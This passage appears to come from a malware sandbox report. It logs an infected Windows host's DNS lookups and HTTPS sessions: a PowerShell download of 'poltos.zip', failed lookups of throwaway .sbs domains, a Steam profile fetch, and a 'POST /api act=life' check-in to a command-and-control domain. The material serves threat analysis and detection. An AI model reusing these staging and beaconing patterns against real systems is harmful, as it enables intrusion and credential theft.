Nov 23, 2024 13:38:42.797965050 CET	53	58874	1.1.1.1	192.168.2.5
Nov 23, 2024 13:38:42.801407099 CET	56245	53	192.168.2.5	1.1.1.1
Nov 23, 2024 13:38:43.146162033 CET	53	56245	1.1.1.1	192.168.2.5
Nov 23, 2024 13:38:43.148256063 CET	57937	53	192.168.2.5	1.1.1.1
Nov 23, 2024 13:38:43.521409988 CET	53	57937	1.1.1.1	192.168.2.5
Nov 23, 2024 13:38:43.527981043 CET	56059	53	192.168.2.5	1.1.1.1
Nov 23, 2024 13:38:43.786420107 CET	53	56059	1.1.1.1	192.168.2.5
Nov 23, 2024 13:38:43.789838076 CET	53157	53	192.168.2.5	1.1.1.1
Nov 23, 2024 13:38:43.931308031 CET	53	53157	1.1.1.1	192.168.2.5
Nov 23, 2024 13:38:46.624130011 CET	58971	53	192.168.2.5	1.1.1.1
Nov 23, 2024 13:38:46.849870920 CET	53	58971	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 13:37:37.662453890 CET	192.168.2.5	1.1.1.1	0x4237	Standard query (0)	pub-7a0525921ff54f1193db83d7303c6ee8.r2.dev	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:41.251352072 CET	192.168.2.5	1.1.1.1	0xd2de	Standard query (0)	w0rdergen1.cyou	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:41.480046034 CET	192.168.2.5	1.1.1.1	0x18dd	Standard query (0)	processhol.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:41.711786985 CET	192.168.2.5	1.1.1.1	0xcf21	Standard query (0)	librari-night.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:41.950932980 CET	192.168.2.5	1.1.1.1	0xe74	Standard query (0)	befall-sm0ker.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:42.181158066 CET	192.168.2.5	1.1.1.1	0x4cdb	Standard query (0)	p10tgrace.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:42.553738117 CET	192.168.2.5	1.1.1.1	0x7e15	Standard query (0)	peepburry828.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:42.801407099 CET	192.168.2.5	1.1.1.1	0xcdd2	Standard query (0)	owner-vacat10n.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:43.148256063 CET	192.168.2.5	1.1.1.1	0x1f38	Standard query (0)	3xp3cts1aim.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:43.527981043 CET	192.168.2.5	1.1.1.1	0xce6b	Standard query (0)	p3ar11fter.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:43.789838076 CET	192.168.2.5	1.1.1.1	0xa2bd	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:46.624130011 CET	192.168.2.5	1.1.1.1	0x1761	Standard query (0)	marshal-zhukov.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 13:37:37.913928032 CET	1.1.1.1	192.168.2.5	0x4237	No error (0)	pub-7a0525921ff54f1193db83d7303c6ee8.r2.dev		172.66.0.235	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:37:37.913928032 CET	1.1.1.1	192.168.2.5	0x4237	No error (0)	pub-7a0525921ff54f1193db83d7303c6ee8.r2.dev		162.159.140.237	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:41.475536108 CET	1.1.1.1	192.168.2.5	0xd2de	Name error (3)	w0rdergen1.cyou	none	none	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:41.708457947 CET	1.1.1.1	192.168.2.5	0x18dd	Name error (3)	processhol.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:41.947175980 CET	1.1.1.1	192.168.2.5	0xcf21	Name error (3)	librari-night.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:42.179323912 CET	1.1.1.1	192.168.2.5	0xe74	Name error (3)	befall-sm0ker.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:42.552102089 CET	1.1.1.1	192.168.2.5	0x4cdb	Name error (3)	p10tgrace.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:42.797965050 CET	1.1.1.1	192.168.2.5	0x7e15	Name error (3)	peepburry828.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:43.146162033 CET	1.1.1.1	192.168.2.5	0xcdd2	Name error (3)	owner-vacat10n.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:43.521409988 CET	1.1.1.1	192.168.2.5	0x1f38	Name error (3)	3xp3cts1aim.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:43.786420107 CET	1.1.1.1	192.168.2.5	0xce6b	Name error (3)	p3ar11fter.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:43.931308031 CET	1.1.1.1	192.168.2.5	0xa2bd	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:46.849870920 CET	1.1.1.1	192.168.2.5	0x1761	No error (0)	marshal-zhukov.com		172.67.160.80	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:38:46.849870920 CET	1.1.1.1	192.168.2.5	0x1761	No error (0)	marshal-zhukov.com		104.21.82.174	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pub-7a0525921ff54f1193db83d7303c6ee8.r2.dev

steamcommunity.com

marshal-zhukov.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	172.66.0.235	443	5852	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:37:39 UTC	198	OUT	GET /poltos.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pub-7a0525921ff54f1193db83d7303c6ee8.r2.dev Connection: Keep-Alive
2024-11-23 12:37:39 UTC	292	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:37:39 GMT Content-Type: application/zip Content-Length: 25136080 Connection: close Accept-Ranges: bytes ETag: "6893cdef7d2795e0f0e5480742fd5e36" Last-Modified: Wed, 20 Nov 2024 19:26:42 GMT Server: cloudflare CF-RAY: 8e713639789e6a5c-EWR
2024-11-23 12:37:39 UTC	1369	IN	Data Raw: 50 4b 03 04 14 00 08 00 08 00 24 94 02 59 00 00 00 00 00 00 00 00 4c 2f 00 00 0c 00 20 00 63 61 72 66 65 72 72 79 2e 66 6c 76 55 54 0d 00 07 15 e0 ac 66 cb 36 3e 67 d3 36 3e 67 75 78 0b 00 01 04 f5 01 00 00 04 14 00 00 00 95 78 0b 78 94 e5 b5 ee aa a9 44 26 5b ad e9 21 c0 e8 f6 02 bb b4 04 09 37 e5 12 0a 61 ae 99 fb fc b9 4c 26 99 49 32 f7 99 64 26 73 bf 25 06 41 8d 22 b6 b6 bb f5 82 4a 8f d9 e5 a2 46 68 d2 61 08 64 66 90 d4 20 09 17 4d 3d 58 90 a3 bb 9c 47 5b 71 ab 24 41 6d 05 da ec d2 b3 d6 f7 4f 22 6e ed d9 cf c9 43 c2 cc ff ff df fa d6 7a d7 bb de b5 be 1f 20 0e 4e e8 00 4f 22 ec 00 fc d1 3a 42 71 33 80 09 a0 12 40 01 7e 50 01 b4 e2 75 29 54 85 00 e4 b5 f8 04 3d 66 d5 d7 01 18 5a 6d a0 97 01 d8 01 92 0d 78 51 03 7a 90 e0 03 2d 0d 09 fc 56 55 23 96 40 Data Ascii: PK$YL/ carferry.flvUTf6>g6>guxxxD&[!7aL&I2d&s%A"JFhadf M=XG[q$AmO"nCz NO":Bq3@~Pu)T=fZmxQz-VU#@
2024-11-23 12:37:39 UTC	1369	IN	Data Raw: a1 4b ea 40 8a fb c8 b4 10 d6 a3 ee d4 51 65 b7 f8 40 8c d1 57 57 57 5a a8 d0 44 cd 98 14 a3 0c da 51 2d 74 e6 26 be b0 64 28 9b c8 5f a4 50 7d c2 da a0 6d 68 a3 8e ec a5 7b 3a a4 1e ae d2 57 42 15 2f 64 7c 73 44 e7 dd ad 8c 57 d0 2a 76 b1 dc a9 b1 a2 10 f3 28 b6 21 75 80 69 04 02 14 c3 68 3c 84 76 4d 12 ea 3d 3c f9 41 1f f4 55 ba b1 c5 68 79 b5 77 d8 19 34 cd 30 f5 63 66 d6 8c 3e dc 5e 86 bd b3 01 f7 f1 ea a1 92 0a c4 06 1e 45 80 b5 21 15 e1 1e af c3 86 86 71 37 71 79 21 c6 1a 10 ab aa 1b 80 f5 a8 20 07 fe 7c 43 a9 41 39 51 18 ad f4 51 89 ce bb 93 26 22 0d 26 20 68 c4 6c 29 b5 08 50 80 88 ea d1 e1 bd fc 3c 41 fd 14 6b d1 45 d1 36 a8 a0 a6 c9 ea 0b e3 ea fa bc c4 6b 78 87 35 48 9d 08 6e de d1 02 f2 c6 5a 27 15 1f f9 17 c3 2d 03 bc 00 d6 a3 f4 75 f8 18 fd Data Ascii: K@Qe@WWWZDQ-t&d(_P}mh{:WB/d\|sDW*v(!uih<vM=<AUhyw40cf>^E!q7qy! \|CA9QQ&"& hl)P<AkE6kx5HnZ'-u
2024-11-23 12:37:39 UTC	1369	IN	Data Raw: 27 84 0d d0 6c c3 45 7e fe 55 80 02 62 0a 9a 90 02 62 b1 cc 04 4e 5c ea 75 41 9c 16 10 0b 79 3d 32 f1 b9 60 6d 53 01 95 49 a7 19 54 d4 5b 70 14 e0 99 d4 1a 40 b0 34 3e 0b d4 35 41 43 d3 35 23 1c 18 eb 9d 4c 08 f1 5f b0 4a 84 a3 16 1a d0 e7 8f 6e 41 32 28 a6 b0 ea 21 61 56 b6 51 10 e8 a0 cd 07 16 1d 4e 3f 5c 9c 0a 54 d2 aa 72 18 c5 35 24 b2 d2 06 be 9d 43 9d 52 de e8 16 47 6a 54 fc 2c e4 60 2f 2f a8 03 21 fe 12 69 43 d0 01 b1 5a 95 4c 4c 69 f6 e1 50 19 60 a9 f4 34 78 bc 50 85 f6 95 66 9e 0f e6 64 32 c9 cc f1 3d 39 c1 8e 10 32 56 3c c4 c2 26 1f ed 86 1b 34 35 78 ab a9 63 7a e2 10 6a b2 d8 ed 21 9b d6 96 2f fd 2a 88 58 ad ba a9 84 37 82 25 c8 e3 26 c5 a0 6a c1 67 a6 d5 ec 41 94 7c 7f c4 c0 f2 64 52 50 f4 cd 44 20 1b d1 a7 b2 1e af 87 3b 4c 94 0c 1d 23 7e 7b Data Ascii: 'lE~UbbN\uAy=2`mSIT[p@4>5AC5#L_JnA2(!aVQN?\Tr5$CRGjT,`//!iCZLLiP`4xPfd2=92V<&45xczj!/*X7%&jgA\|dRPD ;L#~{
2024-11-23 12:37:39 UTC	1369	IN	Data Raw: d7 6f 39 67 eb ea 38 fa 50 be 77 df 8a 21 c7 ae 2b 5c aa 64 43 b1 24 57 d4 3b 11 1a 54 cc 47 db fa 5c c1 be fe 67 2f 71 19 b1 a8 f0 d8 e2 47 75 3d a5 e2 e2 9a 07 44 c2 ca 07 45 02 cb e6 6e a7 97 7c 58 2b 2a 36 2f 2f 38 30 d6 d9 97 3a 48 76 76 16 70 99 05 39 61 8d b7 68 df 3b 9c 48 a0 37 4d 1e 1e 8b be c8 a5 6e bf 81 cb 14 cf e4 7a 4a 73 02 33 fa cf af dd f1 c9 78 e7 8b 25 13 5d db 67 4f 44 d3 c7 5f 5a 50 d8 db 7b 2f c3 92 4b 2d c8 15 d7 64 0a 0e 6b 6e 39 70 d4 9e 26 ff 72 97 e7 09 ff ce 65 4a cb 1f 8d 0e 14 3d 3d 11 3d 39 6b a2 73 1b d7 bf 1c 71 b9 49 7c a3 6f b3 48 b8 e2 c1 6e ab 83 e1 22 12 44 b3 05 43 63 2b d7 88 cd 4b ee fe ed c2 d8 13 94 af 94 f7 8b c9 1d 84 f9 58 f4 09 4e f1 78 c7 cf 97 4c b2 fc 9e 19 8f 8e cc 1a 0d 88 8a 3b b3 85 0b ed df da 20 b0 Data Ascii: o9g8Pw!+\dC$W;TG\g/qGu=DEn\|X+*6//80:Hvvp9ah;H7MnzJs3x%]gOD_ZP{/K-dkn9p&reJ===9ksqI\|oHn"DCc+KXNxL;
2024-11-23 12:37:39 UTC	1369	IN	Data Raw: eb 4e cf 5d 01 aa f9 bb 4e 73 29 e4 95 6f 1d ea c6 a6 ee ad 4c 03 56 0c 6f 5c b4 bc e0 30 f5 b2 b2 69 4e 7d 2d fe ff 97 fd 51 57 67 fa f4 9d 1b d6 3e 73 56 8d b5 b1 6c 72 28 f2 01 ea de 69 3e 37 e1 b1 2d c7 07 16 6c 10 9a 85 0f 73 7c 6f b8 a6 9e b1 4e 5d 51 5c bb 0a 31 5a 33 9d f7 14 f6 f2 a1 2f fd f8 ca f3 43 a8 a9 a7 e7 4a 2e 23 2f 87 10 e3 f2 47 9c 03 93 43 ba 12 ec 2b d3 79 9b aa ef 41 1d 71 3a 3a 40 f1 8f 28 b4 4b 2b 84 51 d6 ab 4f 53 8d 15 07 33 c7 b4 58 af a3 e7 27 06 74 ec fb be e4 c8 85 ce 23 a9 a5 5f c3 80 e7 db 1b 65 b7 cb b0 ae 97 b8 9f 3d b8 c4 b9 0d 7d e9 23 1d 20 fd 2a 9c c9 fa 27 f6 6b fb ee c3 97 e7 cd 59 8f f8 dc 89 75 9f a6 3e ca f5 6f 3f f0 cc 18 e6 ae 47 8c 33 43 66 50 f1 de 82 81 f2 68 b6 68 e8 40 76 f2 d4 78 e2 f6 a3 f7 d8 12 a9 43 Data Ascii: N]Ns)oLVo\0iN}-QWg>sVlr(i>7-ls\|oN]Q\1Z3/CJ.#/GC+yAq::@(K+QOS3X't#_e=}# *'kYu>o?G3CfPhh@vxC
2024-11-23 12:37:39 UTC	1369	IN	Data Raw: a7 eb 8f e0 f9 31 57 60 1b 4b 7c c2 66 5d 7d e6 ca ba 09 9a 7b 47 2a 4a f6 d3 7c de a9 d2 ed f5 e2 79 2a 37 f9 fc 58 48 c8 66 e0 3f 0d 14 de 32 41 f3 61 ae e2 c6 27 b3 a4 b1 eb 75 2f 6c 27 3e 16 29 c7 36 0b d8 5e 7f 1c b8 7a 2f ce 92 dc 47 7b f0 6c 9e b9 f2 31 7f 86 4c 73 2f c8 31 76 e1 0d bd ef cc 63 b1 e3 9e 1b 0a 0f 65 d9 39 65 68 62 f3 5b c8 9b 9d b3 d4 5b f7 30 bc 51 c7 75 bb 7f 34 85 cd fa 6f 61 6d a0 8d 9d b3 d5 2d d7 dc df c3 7c 1b 1a 0b bd 35 cd 31 fd 34 c7 8e 65 f3 b9 f1 2f 8c bd 3c 8c 67 d1 d3 73 c2 83 38 d7 fd 67 75 ea 2e 7c 76 c1 cc 5e db 1d e4 07 5e 8f bd 8c d7 3f 78 bc e7 ba 29 dd f8 11 d3 8d 55 e9 15 cf b5 ed 7d 63 f1 05 11 bd 3b e9 e3 5e b8 6f 46 af 76 21 5b 93 5a 7f 69 f2 11 fe cc 1c e1 75 f8 2a bd 17 a2 1a 28 bc 7e ec b5 9b 50 13 69 ce Data Ascii: 1W`K\|f]}{GJ\|y7XHf?2Aa'u/l'>)6^z/G{l1Ls/1vce9ehb[[0Qu4oam-\|514e/<gs8gu.\|v^^?x)U}c;^oFv![Ziu*(~Pi
2024-11-23 12:37:39 UTC	1369	IN	Data Raw: c4 1f 00 00 4c 2f 00 00 50 4b 03 04 14 00 08 00 08 00 24 94 02 59 00 00 00 00 00 00 00 00 d6 00 00 00 17 00 20 00 5f 5f 4d 41 43 4f 53 58 2f 2e 5f 63 61 72 66 65 72 72 79 2e 66 6c 76 55 54 0d 00 07 15 e0 ac 66 cb 36 3e 67 dd 36 3e 67 75 78 0b 00 01 04 f5 01 00 00 04 14 00 00 00 63 60 15 63 67 60 62 60 f0 4d 4c 56 f0 0f 56 88 50 80 02 90 18 03 27 10 1b 01 f1 12 20 06 f1 af 31 10 05 1c 43 42 82 a0 4c 90 8e 19 40 6c 87 a6 84 11 21 2e 9a 9c 9f ab 97 58 50 90 93 aa 57 58 9a 58 94 98 57 92 99 97 ca 50 a8 6f 60 60 61 64 6d 66 6e 9c 6a 6c 96 62 6c 1d 9a 57 95 59 10 53 61 64 a0 0b 22 82 1c 83 40 54 94 67 00 88 32 8f 02 91 a1 79 89 45 c9 19 99 65 a9 45 d6 0c 00 50 4b 07 08 ff eb 8c 7e 7f 00 00 00 d6 00 00 00 50 4b 03 04 14 00 08 00 08 00 0f 53 e5 52 00 00 00 00 00 Data Ascii: L/PK$Y __MACOSX/._carferry.flvUTf6>g6>guxc`cg`b`MLVVP' 1CBL@l!.XPWXXWPo``admfnjlblWYSad"@Tg2yEeEPK~PKSR
2024-11-23 12:37:39 UTC	1369	IN	Data Raw: f9 7a 05 80 65 63 73 b8 cb fe 21 c8 40 53 5b ac d7 db ce 68 ad 8b bd 89 fd e3 2c 99 58 fb 3c 91 27 0e 99 20 d7 1d 68 62 4a cb c6 75 1f da 4e 81 a4 77 0c 46 9b f0 02 74 2d 1d e0 dd 7c 33 a5 c0 bb 79 12 45 eb aa 3e df 04 29 82 f5 ed c9 67 f2 73 ad 85 5e 67 09 ce 51 fc e7 48 42 65 d4 8e 8f a8 b1 a0 1b 83 43 59 ae 94 b2 4d 89 92 d9 64 94 fb 9e 27 32 03 a3 61 f2 02 2b 17 e4 5e c0 0e 8c 15 6a f7 14 e7 89 bf 42 04 59 bc 0b e4 0b a2 ca 40 13 c8 04 51 77 d0 80 03 82 ab 39 4a d7 e0 2c cb 65 48 ce c5 d0 03 76 ed ee 20 90 ce 18 71 b3 63 a7 25 16 a6 e0 6c f7 4e f8 b2 c8 60 19 23 77 da 6f d0 6c 55 f4 03 f0 87 96 15 37 fd 07 f4 22 95 40 a0 d1 69 36 25 8a 66 50 4d 2e a8 46 30 c9 3f f7 e8 00 36 9e 50 e6 c1 1f 89 6f 30 c8 04 b8 91 86 7c 1a 56 88 ea 33 67 b5 45 97 2b b3 5c Data Ascii: zecs!@S[h,X<' hbJuNwFt-\|3yE>)gs^gQHBeCYMd'2a+^jBY@Qw9J,eHv qc%lN`#wolU7"@i6%fPM.F0?6Po0\|V3gE+\
2024-11-23 12:37:39 UTC	1369	IN	Data Raw: 8b 68 db 26 2d 40 15 7f 92 92 6d b5 5a d2 9a eb b3 f5 6e 9f ad 89 3e 5b 2f f5 d9 7a 56 eb ab f5 b7 c6 56 47 0d 32 b5 15 93 6e 32 48 80 f4 7e 05 bd d2 84 b3 30 00 84 f1 93 98 4d c8 27 3d 9f 90 9e 7a ec f9 49 69 7b 43 4b bc c0 28 4d 38 e9 7c e6 bc 73 f0 39 db a6 08 d2 31 b3 b1 e3 38 8c 1e 0c f0 22 49 fb e8 c6 f6 23 d8 7e c6 b6 49 47 da 1f 68 6c 97 b1 bd c1 b6 29 8a b4 a7 37 b6 1f c6 f6 d3 b6 4d 6d 48 fb b5 ac dd 26 1b c5 9f 6c 9b a2 61 35 e7 c0 b5 98 84 2a b5 90 ac 1f ff 1a 8d 43 86 1d 2c 1e ed f6 53 b8 45 b0 ac f8 e6 f0 0b 3d f4 0b 66 47 da 8f 49 79 59 a9 77 5c 8f 98 a1 ca 71 1c a5 eb c8 a2 e9 1a f0 86 28 ad 47 0e 13 94 d8 c7 d2 be 8e c4 c7 04 28 f1 c0 e1 a6 ff 0e 6b ad ef 4e 91 c5 17 f6 93 14 2f 1f db 02 89 7d f5 29 92 d8 99 bf 22 13 d7 77 6b ca ef 88 e0 Data Ascii: h&-@mZn>[/zVVG2n2H~0M'=zIi{CK(M8\|s918"I#~IGhl)7MmH&la5*C,SE=fGIyYw\q(G(kN/})"wk
2024-11-23 12:37:39 UTC	1369	IN	Data Raw: 30 9f 23 07 e1 bd 3e 9c 70 c7 cb 26 c2 17 7d 3c 35 98 1b 1c 8b 0c ef b7 c1 d8 bf 7f cb 65 7e 58 ca 58 3c d3 87 e3 87 71 d9 1c 3f f4 8e e8 1e fc 5f 9d ed c9 a2 39 38 16 19 de ed bc ea 22 30 8b 2c 0e 26 51 1a 84 c7 b3 d5 c6 c1 49 3c be 79 e9 55 b0 f1 f8 f6 b3 18 6d c2 1b 19 0c df 01 0d e4 56 6d 10 06 e2 7f 21 ca 0c 64 1e 93 de da be 3e 0c 24 70 b8 67 9e 54 4e 67 0b dd ef 57 1b 51 ee e5 45 94 96 af 4e 03 26 a8 1c 4a a9 b0 fa 7e ff 8e e1 bb cc dc 71 bf 8f 80 10 34 de 7d 0c ef 19 0e 5e a1 7d 3f 8e 61 8e f4 8a fd 81 eb be 80 ea 33 52 7c c2 fd fd d4 aa 6f 68 bf 96 aa 2f e8 3a a7 80 11 57 d0 4f ad 7f 8f e3 89 91 5b 5f 28 60 db b4 48 9c 16 46 f1 2e d5 e2 fc 35 fc e2 ac 67 c4 3d 9c a3 56 9c 63 72 c2 5e 36 4e cd 61 85 56 8e 5a af fc 33 27 14 af 3c cb f0 de f5 80 5a Data Ascii: 0#>p&}<5e~XX<q?_98"0,&QI<yUmVm!d>$pgTNgWQEN&J~q4}^}?a3R\|oh/:WO[_(`HF.5g=Vcr^6NaVZ3'<Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49817	23.55.153.106	443	2472	C:\Users\user\AppData\Roaming\Extracted1\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:38:45 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-11-23 12:38:46 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sat, 23 Nov 2024 12:38:46 GMT Content-Length: 35164 Connection: close Set-Cookie: sessionid=3ca2b0a807bfc5c826f9e0e5; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C820d04e8bfee2ac1774d9f20f79a4923; Path=/; Secure; HttpOnly; SameSite=None
2024-11-23 12:38:46 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-11-23 12:38:46 UTC	10097	IN	Data Raw: 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 Data Ascii: item" href="https://steamcommunity.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.s
2024-11-23 12:38:46 UTC	10588	IN	Data Raw: 71 75 6f 74 3b 45 55 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 31 2c 26 71 75 6f 74 3b 57 45 42 5f 55 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 Data Ascii: quot;EUNIVERSE":1,"WEB_UNIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/",&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49823	172.67.160.80	443	2472	C:\Users\user\AppData\Roaming\Extracted1\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:38:48 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: marshal-zhukov.com
2024-11-23 12:38:48 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 12:38:48 UTC	1027	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=64tadgoo3vdprvbtatlheohnq9; expires=Wed, 19-Mar-2025 06:25:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YruN8J%2B%2F%2B470p75dbZ2UKnjpNxR%2BJLMsOgecaaeAEZlDvjhzQthyWyU03cVsxRq66wzo%2BQrNFU85tIpmcNLfAOGBSqH%2FK2G8EX%2F9mb%2Fz3FR%2F%2Bly5qFAubvmtyGNtdB8E01Ds52w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7137e8299e6a50-EWR alt-svc: h3=":443"; ma=86400 server-timing: 